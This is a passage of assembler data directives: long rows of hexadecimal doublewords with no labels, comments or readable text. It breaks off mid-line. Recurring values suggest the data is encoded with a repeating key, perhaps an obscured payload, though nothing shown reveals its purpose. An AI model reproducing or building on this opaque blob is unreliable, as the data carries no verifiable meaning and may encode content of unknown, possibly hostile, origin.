0B7DE6625h, 5F78175Dh, 0D178F6C7h dd 0D9B5A3BCh, 57F6FDADh, 0A9063D37h, 0FD33B937h, 3CB72A2Fh dd 0EAB13246h, 62125884h, 49088052h, 0ACC641B9h, 0BCDE3132h dd 58810E6Fh, 0ABB139DDh, 62BE5256h, 0EA303D88h, 14B13256h dd 35BE6AAFh, 5DB13374h, 0AEB0B759h, 0BE443256h, 0ABB1321Ch dd 0D5A0DBAAh, 77413256h, 255474D8h, 31C75C08h, 3299CE03h dd 696B3177h, 57B3CA13h, 42443256h, 0D5B13270h, 0EAB7B759h dd 0F5D13256h, 0DB48FE84h, 5C497791h, 0CEB13256h, 57B4BC59h dd 2AD73256h, 0B5AA16B4h, 0B5E76D04h, 0CF3A5337h, 0BCA94525h dd 5DA9B659h, 0BD583256h, 6BB13256h, 4CCD0937h, 0D4075DD1h dd 37E330C6h, 2F128DD7h, 0A53AEE56h, 5DB135BFh, 9E81AE56h dd 0FFEF30B2h, 690E3D36h, 0A9848C30h, 0E56A3937h, 75B1BBD2h dd 0BD3A3D56h, 52B13256h, 0AEB133D8h, 898ACA56h, 0AB83B759h dd 87D13256h, 0B73A5309h, 832CE5Ah, 3EBE32AEh, 5DB1324Ah dd 56EC31AAh, 57B121BFh, 45D89656h, 774D756Bh, 3DAF821Eh dd 0B832D199h, 3DB31DF4h, 0A5B56DDFh, 52A5F5D5h, 57BFB759h dd 0A2583256h, 0A1B13256h, 0BE56B18Bh, 7CDDFED5h, 454E4FBFh dd 9D82C7A9h, 0AEB138BFh, 0C4F72656h, 0A15EE6FFh, 3CEC7785h dd 0EAB1367Eh, 75B9B759h, 3EBE3256h, 5DB13254h, 25D75336h dd 513F3D48h, 0CBB13256h, 0B4D1C1DDh, 0E6CCB937h, 75BDBD59h dd 0BD583256h, 0B7B13256h, 3209A914h, 0AC315910h, 96353DBDh dd 0B5B13256h, 0E543B930h, 75B131D9h, 4F66B256h, 0AD52B237h dd 0AC363D36h, 0DDB13256h, 8078B3B8h, 0B4BEBF81h, 0E5C1C9D6h dd 75B158D2h, 9A58CA56h, 3DB13257h, 0AEB3B659h, 87023256h dd 0CA6E8D59h, 3C583590h, 0EAB1325Ah, 0F400D7F7h, 816F3B5Dh dd 0ABEECAE5h, 0AEB07591h, 0AFB13256h, 23BEF5DDh, 0D5B13257h dd 0EF71B1AFh, 75A6B359h, 0A8583256h, 0E8B13256h, 0BF6E19A5h dd 87E3F5A3h, 0C5095FC2h, 0AF0D6A3Eh, 0E9D7DBC1h, 0FCBE3256h dd 0BAB13251h, 5DB0BF59h, 0C84D3256h, 5FBE3591h, 0A4AFB8A3h dd 0D5B135D2h, 5DBE5256h, 14EF60A1h, 53BED1D6h, 5DB1325Eh dd 92FE3ACEh, 87A85D06h, 0ABA1B759h, 0DE583256h, 28B13256h dd 0BBDA7F7Bh, 0D595C70Ah, 963190BBh, 0C84852D6h, 0A37AD3D7h dd 0AAEEBA37h, 0D5B122BFh, 1F8F9F56h, 60A7BF68h, 96D4B7E6h dd 0F9F9A43Eh, 0ACF6F595h, 57B13256h, 0ABB139BFh, 5C89E256h dd 0DE584A39h, 0D9746C3Fh, 30D1F5DDh, 5DB6DB8Ah, 72143256h dd 29FF1892h, 0A4D1535Eh, 0D5B132D0h, 5305456h, 0F6D005F1h dd 3FBE3496h, 5DB1324Fh, 0AEB126BFh, 0FC7B0356h, 0E7B48A0Ch dd 67F55CEAh, 20BB26AFh, 96F35080h, 0B82FDB12h, 3B493256h dd 3E210CD7h, 57F1B659h, 2B493256h, 50BEA268h, 0EAB13207h dd 75B139BFh, 0F1C71C56h, 0A1C234BBh, 0BC2CDE78h, 0A8CFB330h dd 2FBEA2C6h, 0D5B1324Ch, 0EA9EDBAFh, 7A583256h, 93B13256h dd 0CFB09A8Ah, 67AB31B7h dd 0F4E47207h, 6C3AEE7Eh, 410A5436h, 3D0C734h, 75B13251h dd 6E005CA5h, 0B413B2E1h, 0AEB1306Eh, 233BFAEh, 53B72A2Ch dd 5ED75206h, 0BCD0CE9Ch, 75B121BFh, 6C895556h, 0B3014A56h dd 0B9AE75B0h, 8237EBB6h, 7540C38Ch, 0ADA2A0A9h, 6AD1344Eh dd 0B104C18Fh, 0B5713937h, 5DB108D2h, 0A5363D56h, 0BEB13256h dd 0ABB13250h, 81CE39A9h, 223A264Dh, 75B134BFh, 0B5E32656h dd 0D0C3E738h, 0B6CB67E4h, 5D3A3D50h, 0CBB13256h, 54BE56E7h dd 0EAB13256h, 752CDB37h, 0EC4D3256h, 5DB2B159h, 57D13256h dd 377FB937h, 0F97EB930h, 0B4EE6C00h, 0EAB137BFh, 5F3A356h dd 43E4B857h, 2A5CA0A9h, 0F344344Eh, 0BC305436h, 0BF581F44h dd 0E2B13256h, 0D9A4D9B2h, 0A73D288Ah, 9075EEF3h, 0B8B94C18h dd 0CF817A74h, 0AFD1FC7Dh, 0ABB126BFh, 68BA0756h, 0C749F302h dd 5BFB0A6Dh, 0A3576AC4h, 2696E49Fh, 0C8D153C4h, 0DCBEE5DDh dd 0ABB13255h, 0B439F2D6h, 0EF58EBA1h, 9DB13256h, 0C36EABh dd 50363D08h, 47B13256h, 57B1325Eh, 9C2DA5B2h, 49A1B6DDh dd 0EAB0B059h, 0F64D3256h, 0B5B0CA2Bh, 5DB149D3h, 1E44CA56h dd 371BCB1Fh, 0ABB4BD59h, 54D73256h, 50D9D6B9h, 556C1C9Eh dd 0B5095437h, 5DBADBD3h, 0CF533256h, 4A3CFDF7h, 99E4ABAEh dd 0DA1A5464h, 0EAB13EDBh, 73303D56h, 0B5B13256h, 5DB132D5h dd 0E8073D56h, 57A2DB57h, 0FCD43256h, 0DF957858h, 7F17E72Ch dd 14189487h, 0EEEFE448h, 0D0BE993Eh, 0AEB1325Bh, 57B13ABFh dd 0E44C5F56h, 0DF19AD8Dh, 0EA26DB50h, 15443256h, 0DB468D59h dd 5F494FD5h, 0AEC9B759h, 5C583256h, 86B13256h, 79782D0Fh dd 84F56809h, 0CDD71A2Ah, 0DC48FB5Dh, 883152FDh, 0AEBADA37h dd 270B3256h, 9C90E9FFh, 0A97172A0h, 0B4D0526Ch, 7A095437h dd 32BE52D2h, 5DB13252h, 0EDA98B30h, 3666B930h, 0A4499930h dd 3CB074E0h, 0EAB1325Ch, 0D953A147h, 0F7C2E78h, 0A51AA875h dd 0AEB11ABFh, 5F343D56h, 0A4B13256h, 0D5B130D8h, 3D05256h dd 75B13250h, 102525A5h, 0F94278DBh, 0AEB6B159h, 58D13256h dd 0CAD1E9E1h, 0DA76B937h, 0EAB135D9h, 74313D56h, 46B13256h dd 5DB9DB0Dh, 5D5E3256h, 830F8F13h, 0CBE8E88Ch, 0D5B13BBFh dd 0AF8F4F56h, 9C44C94Ch, 53E22519h, 5DB13250h, 0FDBDA81h dd 36EF4B54h, 0AA343D08h, 20B13256h, 0E578C709h, 75B123D5h dd 0BABDDB56h, 70A03256h, 0B4A580Ch, 0A6980B7Dh, 0A373E2B0h dd 6305256h, 0CA5B852Fh, 20D0C9DDh, 535DB9AFh, 5DB13258h dd 0CC7DCBECh, 673B2706h, 0B9A8E3E8h, 3CD1CEACh, 0EAB1325Eh dd 21AFF34h, 0B7BD2F6Fh, 8AFA8936h, 46D036F7h, 57B13256h dd 715BB30Ch, 0B5B72AF0h, 50678559h, 6D3A1A9Eh, 48305237h dd 1D9B86F2h, 65888830h, 5FF4B937h, 7B0F6336h, 8D9B3C93h dd 0EAB138BEh, 0E111A656h, 0EF2B2C2Bh, 32089E3h, 3833BB37h dd 58B72A21h, 0ABB133D9h, 0B44DCB56h, 0E058FBAAh, 1B13256h dd 210D356Ah, 52952734h, 0AEB5F056h, 57B7B559h, 0CDD13256h dd 0B42883E9h, 0E5343D03h, 9CB13256h, 0BAB1325Ch, 14F0D4C6h dd 10A0B48Bh, 0BB3A3896h, 77315236h, 6CD1536Fh, 97ED5D8Ah dd 0ABFDCD7h, 0DBD038E2h, 0A549F6D5h, 0AEBFDB36h, 9D223256h dd 9D77A293h, 0B2D5A7DDh, 678DE858h, 75B1DAAAh, 3BEB3256h dd 4516BEBCh, 0A358CE50h, 48B13256h, 93502B18h, 0CD5F3856h dd 0B988176Dh, 75497791h, 53B13256h, 5DB13245h, 66D89447h dd 13209886h, 7E6F69C9h, 0F183CD34h, 2D1EC024h, 75B1CE13h dd 89483256h, 0D6D7C796h, 0F8D1C748h, 2D6F37EEh, 28BE6C56h dd 0D5B13250h, 0EAB1B959h, 0B2D03256h, 0A2C864D4h, 5DB13350h dd 530B5256h, 36ADE42Fh, 3B4AB330h, 0D4343DC6h, 1FB13256h dd 7A59C9D6h, 0BAB405D2h, 4D3C3D56h, 0A1B13256h, 57B138D8h dd 0ABB4DB56h, 0DF8E3256h, 0AABB58D5h, 147AB936h, 0B558C9D6h dd 5DB421D2h, 0B2323D56h, 37B13256h, 1F918D30h, 0D5B122BEh dd 2154B156h, 0DE801C6Dh, 0B8851CDh, 65B2EDDBh, 57D06894h dd 0BFD1CA16h, 0ABB13251h, 8E1499BDh, 2AF881Ah, 75B1325Ah dd 4F66A694h, 0A8871AFBh, 13B13390h, 0D4BE6809h, 0ABB13253h dd 9A9A7EEFh, 11315315h, 0CC353DBDh, 0DAB13252h, 5DB13EBEh dd 28264C56h, 0DC06F7DDh, 896E5452h, 0D5313D1Ch, 0B0B13256h dd 7761EEE9h, 0DAF1535Ch, 5DB1B259h, 2ED03256h, 4758C2B1h dd 0FEB13256h, 7DDFCA7Ah, 37B15365h, 388B21E1h, 0DCCD6614h dd 0DDBEC9D7h, 0AADFB659h, 0DABE3256h, 0ABB1325Dh, 6A77B336h dd 0E5D975D7h, 76D0E4E1h, 0A8A37BD4h, 0C0A5250h, 11CEAAA9h dd 162B733Bh, 2B497237h, 51BED0ADh, 0EAB13679h, 75B13DBFh dd 8157F856h, 0B139742Dh, 7BCA7221h, 0F46895ABh, 0A452C9D6h dd 0D5B2D0D2h, 6BD7C756h, 7A5255ADh, 0BAB534D2h, 45323D56h dd 0CEB13256h, 57B123BFh, 52B29C56h, 508238Dh, 9EBA3463h dd 6365185Ch, 0DAD05398h, 3C6EB9AFh, 0CE41D1D6h, 8730EDDDh dd 0B016241Fh, 0A54AB237h, 0E96FB659h, 7A583256h, 0DDB13256h dd 7D3529B2h, 63E6B8C4h, 0A40BC98h, 20D7F2FBh, 0C7585248h dd 49B13256h, 599AD036h, 0F3956DA0h, 0F97D896Ch, 9E9C8501h dd 0FE7520Dh, 1569FBD7h, 0B4D068A9h, 0E549D1D6h, 75B130D6h dd 3AD05256h, 0D9BE8AADh, 0AEB13331h, 57B13ABFh, 392A3E56h dd 983CCDF5h, 0EF3A3D1Dh, 15B13256h, 0DB99F7D6h, 52B40CD6h dd 0AEB074D2h, 57B7DB56h, 4A0B3256h, 0BC4823CDh, 0E59C0CD6h dd 75B000D2h, 0BB3F3D56h, 0A5B13256h, 0A1D90CD6h, 57B010D2h dd 0B73C3D56h, 0DAB13256h, 0EAB124D3h, 75A0DB56h, 0CFFD3256h dd 0D3A7A695h, 2D48A95Fh, 2F525B5h, 0EB9965E9h, 0D5BBBA59h dd 0EF583256h, 56B13256h, 505769D1h, 24E7B0A9h, 0C8D1344Eh dd 29EAD5D7h, 0B53A5437h, 0D5B137BFh, 1BF08C56h, 13D100D8h dd 0B258F9DDh, 0F7B13256h, 0A4F270D4h, 36FE39F9h, 4249D5D6h dd 0D5B1325Fh, 94EBEBAAh, 93916A2Ah, 413054C7h, 0D9BEDAD7h dd 0AEB132F1h, 493A54AEh, 5B56B2AAh, 0D5B6BE59h, 6CBE3256h dd 75B13257h, 413054A3h, 0D9BEF2D7h, 0AEB132D1h, 0C50B5236h dd 20BEF310h, 54D753AEh, 8BF99C85h, 75BDDB36h, 0FB323256h dd 0DFF7972Ah, 1C20A290h, 0BEE4B6B2h, 0ABB1325Dh, 0FEBC6E90h dd 0C90BA37h, 8A3C09D6h, 0A2C6DFC4h, 5DB9DB50h, 0FB0E3256h dd 18E3666Eh, 0A4ECC1D0h, 0D5B13AD9h, 0E8313D56h, 15B13256h dd 31D15237h, 0BE30548Ch, 0F9D07698h, 6728D9D7h, 0CAE80138h dd 0DA4D77DFh, 0EAB134D4h, 0B2065256h, 0DBD05336h, 0A1CCB1AFh dd 0C343D57h, 37B13250h, 20D0CBA3h, 0C7B09FECh, 0EAB9DB50h dd 381A3256h, 0C66AECFFh, 0B4E14E51h, 0AEB1325Bh, 0E46E8F7Ah dd 7AC8DA0Ah, 0E20BA5D4h, 0EABEDB1Fh, 71F13256h, 69F433D3h dd 0A8B33718h, 27C649BCh, 133B98Ah, 42B72A2Fh, 0D5B1325Dh dd 3CAF53FFh, 7BD96608h, 4F5AE663h, 3D810E6Fh, 0A7F69AEEh dd 58E9534Ch, 0ABB70ED4h, 0D5A3DB56h, 4F543256h, 0E9357583h dd 66ED5504h, 0F54FA23Bh, 0A04B8635h, 451C88DDh, 0CDD13444h dd 720AC2DDh, 8BDD9B07h, 743B3D06h, 42B13256h, 5DB13CBFh dd 833F0056h, 0F6132597h, 61AF5F1Ch, 5E2FCFB4h, 0F2C864D4h dd 4988CA50h, 0A5313D66h, 3DB13256h, 465FE4D6h, 57B13242h dd 0AF3DA637h, 0E0F69E47h, 4853D3B5h, 72D961E8h, 9BEB184Eh dd 52E9530Eh, 0AEB4F6D9h dd 57A0DB56h, 0A1EC3256h, 0D960E9EFh, 95FD3C57h, 0FA940B79h dd 31CE3A7Eh, 45C64FECh, 19BE5250h, 4F353D96h, 43B13256h dd 0D5B13244h, 0EA94C252h, 0CCB40DA7h, 0F3A26E7Ah, 6DCBC519h dd 0CFEF1618h, 20CCB0D5h, 0CBA5344Eh, 0DA58F6E1h, 4AB13256h dd 7538812Ch, 0C7042D23h, 0E6CFE1E3h, 27D0D396h, 57A5DB61h dd 0E1963256h, 0F56EBE5h, 1F30C1BDh, 0C9CB09E1h, 0B86718CAh dd 4D58DDBEh, 5AB13256h, 0BD487253h, 0EF534981h, 70FBDB60h dd 63982F92h, 7D582211h, 6FB13256h, 51E5E023h, 0FED7ECECh dd 0C373B336h, 0CACC11D2h, 0ACE7B0DDh, 0F958344Eh, 74B13256h dd 4D576C8Eh, 333DC40Dh, 4077CA02h, 8DADBF4Ah, 0B73A9EC4h dd 0D5A1DB66h, 52F73256h, 22AB9BB7h, 0A0BD868Bh, 0F24F330Ah dd 0A1E9C169h, 57B13CDFh, 0ABB8DB56h, 50D43256h, 2DBF78CEh dd 0FC3E35B3h, 53443A09h, 5DB1369Fh, 0AEB13CBFh, 2B307A56h dd 0C32F8F33h, 6ED28FFEh, 2D1CA4A1h, 75B3CA13h, 0B1583256h dd 10B13256h, 2C07CCA0h, 816FD880h, 8E580F48h, 0DAB13256h dd 0EAB133D3h, 7D58CE56h, 0E1B13256h, 501FECA4h, 69867C03h dd 57B0CA13h, 0FBD13256h, 0D5B1B059h, 8BE83256h, 2CC88DDh dd 0B358344Eh, 35B13256h, 1CB302A8h, 0DD7B0421h, 0DCCCB0D5h dd 0DAA5344Eh, 0EAB13ED2h, 73353D56h, 0B5B13256h, 5DB132DCh dd 4786BB56h, 57B1325Bh, 3BA6FD1Dh, 0C547B58Eh, 85AC6828h dd 65F6BB5Ah, 0BAB9BA59h, 52D13256h, 0AEB132DFh, 0AF325356h dd 0B7343D55h, 29B13256h, 93E7B091h, 75B3344Eh, 534D3256h dd 5DB1324Dh, 0AEB134BFh, 5EBAB356h, 28020988h, 58BE30AEh dd 0EAB130C2h, 75B0B959h, 39483256h, 52B1CA2Bh, 0AEB1FAD2h dd 0D6D75256h, 213CAA89h, 63BE53A1h, 6EBE3310h, 75B13257h dd 0BA319BAAh, 0D8BE3256h, 0AEB13260h, 8D0E3D36h, 20BE7237h dd 0D5B13257h, 0EF59B1AEh, 75B139BFh, 16412756h, 47436D42h dd 72030B94h, 57B140BFh, 0ABBDDB56h, 73E03256h, 0B63627Fh dd 5B6A1295h, 459CA447h, 3DB13256h, 5F79EAD7h, 0BEE7089Ch dd 0ABB1325Fh, 68E23B60h, 0AF4D927Ah, 0F6D06CB6h, 0AE5837BEh dd 65B13256h, 0E1EAACB8h, 9BC1E53Fh, 9CD6611Dh, 42A9F83Ah dd 8A273E26h, 75B139BFh, 8ED79956h, 7D3FFD9Ah, 1D1ED0EAh dd 57B123BFh, 0AAAB3956h, 191C635Ah, 65010DA0h, 84129E5Bh dd 53D04D0Eh, 5DB1320Eh, 0AEB6B459h, 0D3BE3256h, 0ABB13257h dd 57BE61AAh, 0EAB13253h, 0AD063D36h, 0EC2BB937h, 3DB72A2Fh dd 0FA085436h, 57B7DB41h, 0B01A3256h, 3D74A06Bh, 353A5437h dd 46B5B937h, 0BAB13CBFh, 1FE59A56h, 0E4B99F03h, 43C4ADC8h dd 0F0FCEFB0h, 0D5B135BFh, 6F8A0A56h, 0BA5D12C8h, 0BAB132FFh dd 0FB343DD6h, 5BB13256h, 5858F455h, 0E4B13256h, 323CFB18h dd 3A95BAD8h, 59C81F60h, 7A32B94Ah, 0D2BE5253h, 0AEB13256h dd 36485237h, 0D2E7B055h, 29D1344Eh, 8B8E8D30h, 0F8BE7A37h dd 0BAB13259h, 0B4D05236h, 0AEB13250h, 5B37BC8Bh, 22D0271Ah dd 3CD13A11h, 0EAB13242h, 0B94D6B2Eh, 0D14B0961h, 307EB3DBh dd 66644E07h, 1F35B19Ah, 0A4D0D9DCh, 0D5B13ED1h, 0EC3A3D56h dd 7AB13256h, 0BAB132D9h, 51F6BB56h, 0AEB13FBFh, 0FE3C9156h dd 0C8875C48h, 6F1A583Ch, 3494EB5h, 75B13067h, 0BABABD59h dd 3BD13256h, 0C8A0C0E8h, 4B9AD5D7h, 0A469C537h, 0D5B13CDEh dd 0EAB8DB56h, 59323256h, 6450638h, 765AAB20h, 7646CA90h dd 57B9B459h, 2EBE3256h, 0D5B13254h, 2A325336h, 63333D53h dd 53B13256h, 5DB13247h, 55C5A8D1h, 4BE1A109h, 3FC61219h dd 99CCD01Ch, 0BC333142h, 15B72A2Fh, 7278B330h, 5E353D50h dd 0C8B13256h, 1FD0E8DDh, 0AD3F3D36h, 0DAB13256h, 0EAB132DFh dd 75A3DB56h, 0F5133256h, 60C22F80h, 877E2FACh, 0EDDEE9E9h dd 0B09C6A09h, 0DDF6BB37h, 0EABEDA36h, 3F113256h, 0A0DDC70h dd 815C2B14h, 1C2ADEDAh, 31E26C20h, 0CAE9E3DDh, 895FB236h dd 0E6F6BB37h, 75B0B659h, 53483256h, 5DB1333Fh, 0AEB0B159h dd 0AB443256h, 4248F265h, 0D5B1325Ch, 0E2D9CC06h, 0CB6EA069h dd 0FC3BBC50h, 0DCD75257h, 57242991h, 58319A37h, 0ABB1F3D3h dd 13B2CE56h, 0E871B1AAh, 71383D36h, 0DCB13256h, 3B8D5CEDh dd 0CFAAE4EEh, 57B133EDh, 0AA3E3D56h, 29B13256h, 6EBEE95Dh dd 75B13207h, 0D82BB8A3h, 0B4B725F9h, 0AEB13251h, 7C33EF7Bh dd 2B5D715Ah, 5BBE33B5h, 0EAB13245h, 75BBDB36h, 2A963256h dd 0CBC1939Eh, 6D29C676h, 58D0C8DDh, 0ABB12EDCh, 0C6585256h dd 0F9B13256h, 3A7B0FD5h, 2E892738h, 34C0D6E3h, 7F586D47h dd 0EE763C4h, 42723137h, 0D5B1325Ch, 85B3B532h, 0F893FAADh dd 32BE1C04h, 5DB13257h, 0A6F6BBA3h, 0E9D76536h, 0A4EFCA31h dd 0D5B132DAh, 0AD385356h, 75BFDB5Ah, 9F613256h, 523D5F76h dd 5BEC3B2Eh, 0CA36F7CDh, 0ABB14EBFh, 0D46CA56h, 0EAB126BFh dd 7DC91A56h, 70212BF9h, 0DE4A3A92h, 808AF9B3h, 342A9967h dd 0AB4E176Fh, 50BE3256h, 0EAB13250h, 157D8436h, 7C9A5337h dd 5DB121BFh, 4FCCFB56h, 456D99A2h, 0E07F5209h, 1DD13B73h dd 609B1A47h, 0F649EAA1h, 334D3096h, 0DFBE3A11h, 0AEB1325Ch dd 57B137BFh, 1BD67456h, 0D3581591h, 4AB13256h, 336B0AFDh dd 0B6F6BB5Fh, 5DB13ABFh, 10496E56h, 0A7DF423Fh, 0CA4DCA39h dd 0DD353DA3h, 0E5B13256h, 75B130DFh, 73D05256h, 5DBFBC59h dd 0A7583256h, 40B13256h, 2BF6A3A9h, 65BD18C4h, 0E4585295h dd 72B13256h, 1CF1DE75h, 67425FCh, 454EE3FAh, 360C81F0h dd 204467AFh, 55D152BAh, 61D7CA9Fh, 7AD05395h, 0BAB13ED1h dd 5B3B3D56h, 0A1B13256h, 57B132DAh, 5775B156h, 0D5B122BFh dd 1D5C9056h, 3DD3665Eh, 9F908BA6h, 0DEC764B1h, 25BE52E0h dd 57B13257h, 0ABB1DAAAh, 54EB3256h, 0F20372BCh, 13D1C750h dd 7715D2D7h, 5DB122BFh, 450CD256h, 9E4A2C3Ah, 0F5E928C6h dd 4943B330h, 503A53D6h, 73A94525h, 0BABDBC59h, 0D3BE3256h dd 0AEB13250h, 57B1B659h, 62823256h, 0D5B0B959h, 69483256h dd 0F1BE3269h, 0BAB13767h, 59658D36h, 47E6793Ah, 57B13259h dd 375186C7h, 0C62E7E78h, 41825814h, 2D67BCFBh, 0DAB6B937h dd 1B92CBE9h, 1B67B345h, 36ACAD45h, 52BD47A9h, 3CB947A9h dd 0EAB13250h, 0BBBA626Eh, 46E1936Ah, 5DB8FEBEh, 0B93F3D56h dd 58B13256h, 0ABB123D3h, 0D5BDDB56h, 0CF33256h, 0E91B0F75h dd 606DC18Eh, 0D6BE0184h, 0AEB13246h, 57B139BFh, 714D2D56h dd 5C50AA24h, 5EC09B40h, 0F0BEF25Dh, 0BAB13265h, 5DB6B059h dd 2EBE3256h, 57B13257h, 42B6B9A3h, 0D5B13245h, 4896E5B0h dd 6D93A787h, 91202929h, 0F159ABA3h, 47A1DB3Ah, 57B13274h dd 0ABB0B059h, 564D3256h, 0E7582691h, 45B13256h, 0F7F9377Ah dd 781A590Eh, 0D9E8277Fh, 0A84E18BFh, 0EE38CBA9h, 54D752AAh dd 8B60A39Ch, 7ABD47A9h, 0BAB13AD0h, 0DABE5256h, 0AEB13256h dd 5FC4CD37h, 0ABB9B359h, 55BE3256h, 0EAB13254h, 424E5336h dd 3B59B836h, 0F57F979Fh, 0A8595375h, 58B1325Fh, 0ABB13EDBh dd 0D5B6DB56h, 1CF43256h, 9245AF10h, 0B57139D9h, 5DB17AD2h dd 0AEA2DB56h, 6DDC3256h, 8DB0C631h, 341E727Dh, 4DA9C8A0h dd 0F227F39Ch, 0BAA0DB02h, 3BE23256h, 423FD17Ah, 9A9D0AABh dd 83A6A513h, 3C6DF2B6h, 0EAB1318Fh, 75B122BFh, 19A80256h dd 9BCDBE9Ah, 0EA96AB2Ch dd 2502C733h, 57F4B901h, 0D5B6B159h, 6EBE3256h, 75B13257h dd 0B5B60BA3h, 5DB29ED4h, 0EB4EC756h, 8D3A52AAh, 0AFCEB137h dd 94353D56h, 8AB13256h, 1440B9AAh, 0BABD4DD5h, 5D83B659h dd 0A4583256h, 0BFB13256h, 8BF6C36Eh, 66A6129h, 0EAE6DB52h dd 0F4BE3256h, 0BAB1324Eh, 5DA3B959h, 0A3583256h, 86B13256h dd 0A638E475h, 6B2DA20h, 20E522BAh, 8A4ECDEEh, 0BAA1DBA9h dd 0D0A13256h, 0B3A7F71Eh, 0AA507665h, 986C560Dh, 0D0084AD2h dd 0E5B13256h, 75B133D4h, 4944CE56h, 8C58C7FDh, 474ECDA8h dd 57B13253h, 0B2C1F802h, 0C5CEB135h, 74353D53h, 15B13256h dd 0BAB13DBFh, 0A6207956h, 0B1AD32CCh, 0B753CDC4h, 0DCA82E6Ch dd 5305436h, 0B3E098A8h, 0A325337h, 3FBE3446h, 5DB132F5h dd 0AEA3B459h, 5A583256h, 0FAB13256h, 51AFADF7h, 0C88F6253h dd 621EA25h, 0BAB6BE59h, 0D6D13256h, 693A54A8h, 0D1BE7337h dd 0ABB1325Ah, 0B40A5436h, 0EA3D3DABh, 14B13256h, 0DAB575DDh dd 5DA0DA04h, 0BD2E3256h, 0FC825814h, 2567BCFBh, 0D31FF9Fh dd 0B53AD141h, 2A3A530Eh, 0BB393D5Ah, 0A4B13256h, 0AEB300BFh dd 0BEE75256h, 0ABB13253h, 0D8F36E3Bh, 303A6917h, 71F6B937h dd 0A653B236h, 51EEB937h, 0AEA6BB59h, 31D13256h, 438D4CEDh dd 0D5B1325Dh, 0B724A888h, 2A304F7Fh, 0E099D98Fh, 5C43DB37h dd 25483256h, 0D4BE3611h, 0ABB1325Dh, 0D5B134BFh, 0D5AF3A56h dd 0FECD6A7Eh, 81483E09h, 0D8BE3A09h, 0AEB13369h, 57B0B359h dd 0A4443256h, 0D5B12AD7h, 0EAA2DB56h, 333D3256h, 2405650Dh dd 0AC025097h, 7B877A9Eh, 0A83AC2DCh, 0CDD160B3h, 0DAECB6EFh dd 0EAB137DAh, 0A2305456h, 31D00990h, 0D0BE3601h, 0AEB13241h dd 57B120BFh, 80E72056h, 5073EC6h, 0C4111C1Eh, 299576DEh dd 532BFFBDh, 5DB1325Bh, 29DBACB9h, 9F9231AEh, 0FEE448Ch dd 0C5E419EEh, 8B48B936h, 9CA56755h, 0BAB13258h, 0C6F44B62h dd 0AC8AED63h, 4E86384Dh, 24BEE31Eh, 0D5B1324Bh, 0EAA6B959h dd 67583256h, 97B13256h, 46004D18h, 672F1EC5h, 0AD3228EBh dd 35550EB5h, 0D9EEB9A7h, 0FB596036h, 3EB13256h, 5B807655h dd 916E4236h, 0FE2D90DEh, 86CA4E59h, 20D76C08h, 0F9A53AEh dd 0EAB4DB36h, 5BF93256h, 0DC391CF6h, 0B4D0E4DDh, 0AEB13250h dd 0FC4792B0h, 40322350h, 0DE585253h, 6DB13256h, 104312F2h dd 0BC45C4C5h, 4958A202h, 0EFB13256h, 45B6F0C6h, 0DE55DB5Eh dd 20A6E81Dh, 465832BBh, 147C7D29h, 37BECE0Ch, 5DB13251h dd 0AEB0B059h, 0BE483256h, 0ABB13227h, 0D5B120BFh, 2C600756h dd 16CA3473h, 92B5B70Fh, 56D428F1h, 2533425Bh, 0DC4D3611h dd 0A1583E09h, 0E4B13256h, 0D3D19236h, 7F2CA6D6h, 0E59ACAAFh dd 5DA5DB52h, 7B333256h, 12D18EE8h, 3B16BC9Ah, 52895C1Eh dd 4D4E0FC0h, 9E32CF9Dh, 6065253h, 5DB4DB06h, 9A973256h dd 0EBAA85Ah, 0B63B3137h, 0B5B72042h, 8A728559h, 0FEBE8830h dd 0DB778559h, 4DCEB137h, 83343D55h, 0BEB13256h, 0ABB13245h dd 8E472268h, 0BDC2FD31h, 1CD279EAh, 44F0C7B5h, 1C6126B9h dd 0AEBFB259h, 0D6D13256h, 0A4C22D9Fh, 0D5343D18h, 8BB13256h dd 0FC49EB7Dh, 0DAB0330Ah, 0DCD7E2DDh, 0CFDC0489h, 0A84ECDEEh dd 0AC333DA9h, 0B5B13256h, 55BE5336h, 700853A1h, 0B5B13256h dd 5DB135D0h, 0AF3E3D56h, 0AEB13256h, 0A05899A5h, 2EB13256h dd 687CD157h, 832386EDh, 0F58ACE3h, 524ECDADh, 0AEB13ADBh dd 55303D56h, 0CBB13256h, 56BE5337h, 0EAB13257h, 7AD1FBAAh dd 0BAB132D4h, 3C998156h, 0A1B12294h, 57B13ED5h, 0ABB6DB56h dd 12803256h, 2A3B7778h, 0FDBE67B0h, 0BAB1324Ah, 5DA2DB36h dd 0FF8D3256h, 0AD4F60EBh, 8C076F06h, 0EA541DCDh, 0A9E5153Fh dd 14E861A2h, 3949DEDDh, 5058CE92h, 7BB13256h, 6013F75Ah dd 5488CB97h, 0A9BF4315h, 0EA59CE36h, 2FB13256h, 298D8D7h dd 0D9BE344Eh, 0AEB13247h, 57B13EBFh, 0E8234956h, 0CB896D8Ch dd 0DE845C79h, 7AD1CE43h, 0DB44C3E1h, 2AC288DDh, 2FBE344Eh dd 57B1324Dh, 0ABBFDB36h, 0DF0C3256h, 0FC60974Fh, 0BBEDAB17h dd 6E309D9h, 5DB1B859h, 9DD03256h, 31D1529Fh, 219BD8D7h dd 0B449B930h, 114D24EDh, 4A325353h, 7353D56h, 3DB13255h dd 5B86C5D6h, 0AEB6B937h, 0ABA8B559h, 3CD13256h, 0EAB13244h dd 43F7C2Ch, 0B85B70C5h, 0ED04FA62h, 0CAA28B3h, 0A8D0A16Bh dd 54483E23h, 0C5583A23h, 9DB13256h, 0EE69869Fh, 1CF67508h dd 0C3D27821h, 0FE40E160h, 5472DAA3h, 2AD13256h, 9815C6BDh dd 0E1D0CB7Eh, 6E343D96h, 43B13256h, 0A53A5436h, 0CF70B930h dd 0BE4D35DDh, 0ABB13271h, 3D305436h, 61D71154h, 0B23253ADh dd 0CD58CB42h, 3D4ECDA9h, 0B559B330h, 57B9DB6Eh, 6A273256h dd 792F6B7Ch, 63D06A9Ch, 0FDBECE13h, 0BAB13249h, 5DA8B859h dd 0BA583256h, 37B13256h, 0D37933E8h, 3BDA1FFEh, 42CEDDF9h dd 696F02BCh, 452C30CBh, 50583E23h, 3CB13256h, 795387B4h dd 10E1BAECh, 0ACFBC734h, 3B947A9h, 75B1325Fh, 7A4CB680h dd 76FC5F45h, 0A186CD77h, 57B13EDBh, 0AD3B3D56h, 0DAB13256h dd 0EAB132D0h, 75B4DB56h, 0D0CF3256h, 0B5B0E7B1h, 0AEB1315Fh dd 5C5852AFh, 0F8B13256h, 6AE66E06h, 0BCCBA76Fh, 0F1BED355h dd 0BAB1324Eh, 5DB120BEh, 75E1DA56h, 0FFF72968h, 0D29530Dh dd 